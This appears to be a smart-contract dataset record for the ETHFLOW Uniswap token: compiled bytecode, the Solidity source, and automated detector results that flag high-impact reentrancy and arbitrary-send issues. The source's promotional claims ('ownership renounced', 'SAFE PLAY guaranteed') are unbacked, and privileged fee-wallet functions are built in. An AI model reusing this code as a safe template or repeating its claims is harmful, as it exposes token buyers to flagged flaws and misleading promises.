08c379a00000000000000000000000000000000000000000000000000000000081526004016121b19190612e71565b60405180910390fd5b50600083856121c9919061319f565b9050809150509392505050565b60006008541480156121ea57506000600954145b156121f457612205565b600060088190555060006009819055505b565b60008060008060008061221987612449565b95509550955095509550955061227786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235881612559565b6123628483612616565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123bf9190613013565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b60008060006006549050600069010f0cf064dd59200000905061241c69010f0cf064dd592000006006546120d190919063ffffffff16565b82101561243c5760065469010f0cf064dd59200000935093505050612445565b81819350935050505b9091565b60008060008060008060008060006124668a600854600954612650565b9250925092506000612476612148565b905060008060006124898e8787876126e6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c01565b905092915050565b600080828461250a9190613149565b90508381101561254f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254690612ef3565b60405180910390fd5b8091505092915050565b6000612563612148565b9050600061257a828461205690919063ffffffff16565b90506125ce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262b826006546124b190919063ffffffff16565b600681905550612646816007546124fb90919063ffffffff16565b6007819055505050565b60008060008061267c606461266e888a61205690919063ffffffff16565b6120d190919063ffffffff16565b905060006126a66064612698888b61205690919063ffffffff16565b6120d190919063ffffffff16565b905060006126cf826126c1858c6124b190919063ffffffff16565b6124b190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ff858961205690919063ffffffff16565b90506000612716868961205690919063ffffffff16565b9050600061272d878961205690919063ffffffff16565b905060006127568261274885876124b190919063ffffffff16565b6124b190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278261277d846130c8565b6130a3565b905080838252602082019050828560208602820111156127a5576127a4613433565b5b60005b858110156127d557816127bb88826127df565b8452602084019350602083019250506001810190506127a8565b5050509392505050565b6000813590506127ee81613749565b92915050565b60008151905061280381613749565b92915050565b600082601f83011261281e5761281d61342e565b5b813561282e84826020860161276f565b91505092915050565b60008135905061284681613760565b92915050565b60008151905061285b81613760565b92915050565b60008135905061287081613777565b92915050565b60008151905061288581613777565b92915050565b6000602082840312156128a1576128a061343d565b5b60006128af848285016127df565b91505092915050565b6000602082840312156128ce576128cd61343d565b5b60006128dc848285016127f4565b91505092915050565b600080604083850312156128fc576128fb61343d565b5b600061290a858286016127df565b925050602061291b858286016127df565b9150509250929050565b60008060006060848603121561293e5761293d61343d565b5b600061294c868287016127df565b935050602061295d868287016127df565b925050604061296e86828701612861565b9150509250925092565b6000806040838503121561298f5761298e61343d565b5b600061299d858286016127df565b92505060206129ae85828601612861565b9150509250929050565b6000602082840312156129ce576129cd61343d565b5b600082013567ffffffffffffffff8111156129ec576129eb613438565b5b6129f884828501612809565b91505092915050565b600060208284031215612a1757612a1661343d565b5b6000612a2584828501612837565b91505092915050565b600060208284031215612a4457612a4361343d565b5b6000612a528482850161284c565b91505092915050565b600060208284031215612a7157612a7061343d565b5b6000612a7f84828501612861565b91505092915050565b600080600060608486031215612aa157612aa061343d565b5b6000612aaf86828701612876565b9350506020612ac086828701612876565b9250506040612ad186828701612876565b9150509250925092565b6000612ae78383612af3565b60208301905092915050565b612afc8161325e565b82525050565b612b0b8161325e565b82525050565b6000612b1c82613104565b612b268185613127565b9350612b31836130f4565b8060005b83811015612b62578151612b498882612adb565b9750612b548361311a565b925050600181019050612b35565b5085935050505092915050565b612b7881613270565b82525050565b612b87816132b3565b82525050565b6000612b988261310f565b612ba28185613138565b9350612bb28185602086016132c5565b612bbb81613442565b840191505092915050565b6000612bd3602383613138565b9150612bde82613453565b604082019050919050565b6000612bf6602a83613138565b9150612c01826134a2565b604082019050919050565b6000612c19602283613138565b9150612c24826134f1565b604082019050919050565b6000612c3c601b83613138565b9150612c4782613540565b602082019050919050565b6000612c5f601d83613138565b9150612c6a82613569565b602082019050919050565b6000612c82602183613138565b9150612c8d82613592565b604082019050919050565b6000612ca5602083613138565b9150612cb0826135e1565b602082019050919050565b6000612cc8602983613138565b9150612cd38261360a565b604082019050919050565b6000612ceb602583613138565b9150612cf682613659565b604082019050919050565b6000612d0e602483613138565b9150612d19826136a8565b604082019050919050565b6000612d31601783613138565b9150612d3c826136f7565b602082019050919050565b6000612d54601183613138565b9150612d5f82613720565b602082019050919050565b612d738161329c565b82525050565b612d82816132a6565b82525050565b6000602082019050612d9d6000830184612b02565b92915050565b6000604082019050612db86000830185612b02565b612dc56020830184612b02565b9392505050565b6000604082019050612de16000830185612b02565b612dee6020830184612d6a565b9392505050565b600060c082019050612e0a6000830189612b02565b612e176020830188612d6a565b612e246040830187612b7e565b612e316060830186612b7e565b612e3e6080830185612b02565b612e4b60a0830184612d6a565b979650505050505050565b6000602082019050612e6b6000830184612b6f565b92915050565b60006020820190508181036000830152612e8b8184612b8d565b905092915050565b60006020820190508181036000830152612eac81612bc6565b9050919050565b60006020820190508181036000830152612ecc81612be9565b9050919050565b60006020820190508181036000830152612eec81612c0c565b9050919050565b60006020820190508181036000830152612f0c81612c2f565b9050919050565b60006020820190508181036000830152612f2c81612c52565b9050919050565b60006020820190508181036000830152612f4c81612c75565b9050919050565b60006020820190508181036000830152612f6c81612c98565b9050919050565b60006020820190508181036000830152612f8c81612cbb565b9050919050565b60006020820190508181036000830152612fac81612cde565b9050919050565b60006020820190508181036000830152612fcc81612d01565b9050919050565b60006020820190508181036000830152612fec81612d24565b9050919050565b6000602082019050818103600083015261300c81612d47565b9050919050565b60006020820190506130286000830184612d6a565b92915050565b600060a0820190506130436000830188612d6a565b6130506020830187612b7e565b81810360408301526130628186612b11565b90506130716060830185612b02565b61307e6080830184612d6a565b9695505050505050565b600060208201905061309d6000830184612d79565b92915050565b60006130ad6130be565b90506130b982826132f8565b919050565b6000604051905090565b600067ffffffffffffffff8211156130e3576130e26133ff565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131548261329c565b915061315f8361329c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319457613193613372565b5b828201905092915050565b60006131aa8261329c565b91506131b58361329c565b9250826131c5576131c46133a1565b5b828204905092915050565b60006131db8261329c565b91506131e68361329c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321f5761321e613372565b5b828202905092915050565b60006132358261329c565b91506132408361329c565b92508282101561325357613252613372565b5b828203905092915050565b60006132698261327c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132be8261329c565b9050919050565b60005b838110156132e35780820151818401526020810190506132c8565b838111156132f2576000848401525b50505050565b61330182613442565b810181811067ffffffffffffffff821117156133205761331f6133ff565b5b80604052505050565b60006133348261329c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336757613366613372565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137528161325e565b811461375d57600080fd5b50565b61376981613270565b811461377457600080fd5b50565b6137808161329c565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0aa3e102da061612f8fb95d775ddb421c581082091574eda408f596fa619b9664736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,256 |
0xf8e7257bf1f1c3d5d3a7e28fbebdd6568f63bf6c
|
/***
*
* ETHFLOW is launching at Uniswap on August 23, 2021 at 4pm UTC.
* Buy and hold $ETHFLOW and create value for everyone on the network!
*
* Join community via t.me/ethflowfinance
* twitter.com/ethflowfinance
*
* Fair launch, locked liquidity, ownership renounced.
* Powered by the team of DexRoulette, SAFE PLAY guaranteed!
*
*/
/*
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ETHFLOW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"ETHFLOW | t.me/ethflowfinance";
string private constant _symbol = unicode"ETHFLOW";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610387578063c3c8cd80146103a7578063c9567bf9146103bc578063db92dbb6146103d1578063dd62ed3e146103e6578063e8078d941461042c57600080fd5b8063715018a6146102db5780638da5cb5b146102f057806395d89b4114610318578063a9059cbb14610348578063a985ceef1461036857600080fd5b8063313ce567116100fd578063313ce5671461022857806345596e2e146102445780635932ead11461026657806368a3a6a5146102865780636fc3eaec146102a657806370a08231146102bb57600080fd5b806306fdde0314610145578063095ea7b31461019d57806318160ddd146101cd57806323b872dd146101f357806327f3a72a1461021357600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152601d81527f455448464c4f57207c20742e6d652f657468666c6f7766696e616e636500000060208201525b6040516101949190611bfd565b60405180910390f35b3480156101a957600080fd5b506101bd6101b8366004611b55565b610441565b6040519015158152602001610194565b3480156101d957600080fd5b50683635c9adc5dea000005b604051908152602001610194565b3480156101ff57600080fd5b506101bd61020e366004611b15565b610458565b34801561021f57600080fd5b506101e56104c1565b34801561023457600080fd5b5060405160098152602001610194565b34801561025057600080fd5b5061026461025f366004611bb8565b6104d1565b005b34801561027257600080fd5b50610264610281366004611b80565b61057a565b34801561029257600080fd5b506101e56102a1366004611aa5565b6105f9565b3480156102b257600080fd5b5061026461061c565b3480156102c757600080fd5b506101e56102d6366004611aa5565b610649565b3480156102e757600080fd5b5061026461066b565b3480156102fc57600080fd5b506000546040516001600160a01b039091168152602001610194565b34801561032457600080fd5b50604080518082019091526007815266455448464c4f5760c81b6020820152610187565b34801561035457600080fd5b506101bd610363366004611b55565b6106df565b34801561037457600080fd5b50601454600160a81b900460ff166101bd565b34801561039357600080fd5b506101e56103a2366004611aa5565b6106ec565b3480156103b357600080fd5b50610264610712565b3480156103c857600080fd5b50610264610748565b3480156103dd57600080fd5b506101e5610795565b3480156103f257600080fd5b506101e5610401366004611add565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561043857600080fd5b506102646107ad565b600061044e338484610b60565b5060015b92915050565b6000610465848484610c84565b6104b784336104b285604051806060016040528060288152602001611dd6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611227565b610b60565b5060019392505050565b60006104cc30610649565b905090565b6011546001600160a01b0316336001600160a01b0316146104f157600080fd5b6033811061053e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105a45760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161056f565b6001600160a01b0381166000908152600660205260408120546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461063c57600080fd5b4761064681611261565b50565b6001600160a01b038116600090815260026020526040812054610452906112e6565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161053590611c50565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061044e338484610c84565b6001600160a01b0381166000908152600660205260408120600101546104529042611d40565b6011546001600160a01b0316336001600160a01b03161461073257600080fd5b600061073d30610649565b90506106468161136a565b6000546001600160a01b031633146107725760405162461bcd60e51b815260040161053590611c50565b6014805460ff60a01b1916600160a01b179055610790426078611cf5565b601555565b6014546000906104cc906001600160a01b0316610649565b6000546001600160a01b031633146107d75760405162461bcd60e51b815260040161053590611c50565b601454600160a01b900460ff16156108315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610535565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086e3082683635c9adc5dea00000610b60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108a757600080fd5b505afa1580156108bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108df9190611ac1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095f9190611ac1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109a757600080fd5b505af11580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611ac1565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610a0f81610649565b600080610a246000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a8757600080fd5b505af1158015610a9b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac09190611bd0565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5c9190611b9c565b5050565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610535565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610535565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610535565b6000546001600160a01b03848116911614801590610dd857506000546001600160a01b03838116911614155b156111ca57601454600160a81b900460ff1615610e58573360009081526006602052604090206002015460ff16610e5857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e8357506013546001600160a01b03838116911614155b8015610ea857506001600160a01b03821660009081526005602052604090205460ff16155b1561100c57601454600160a01b900460ff16610f065760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f74207965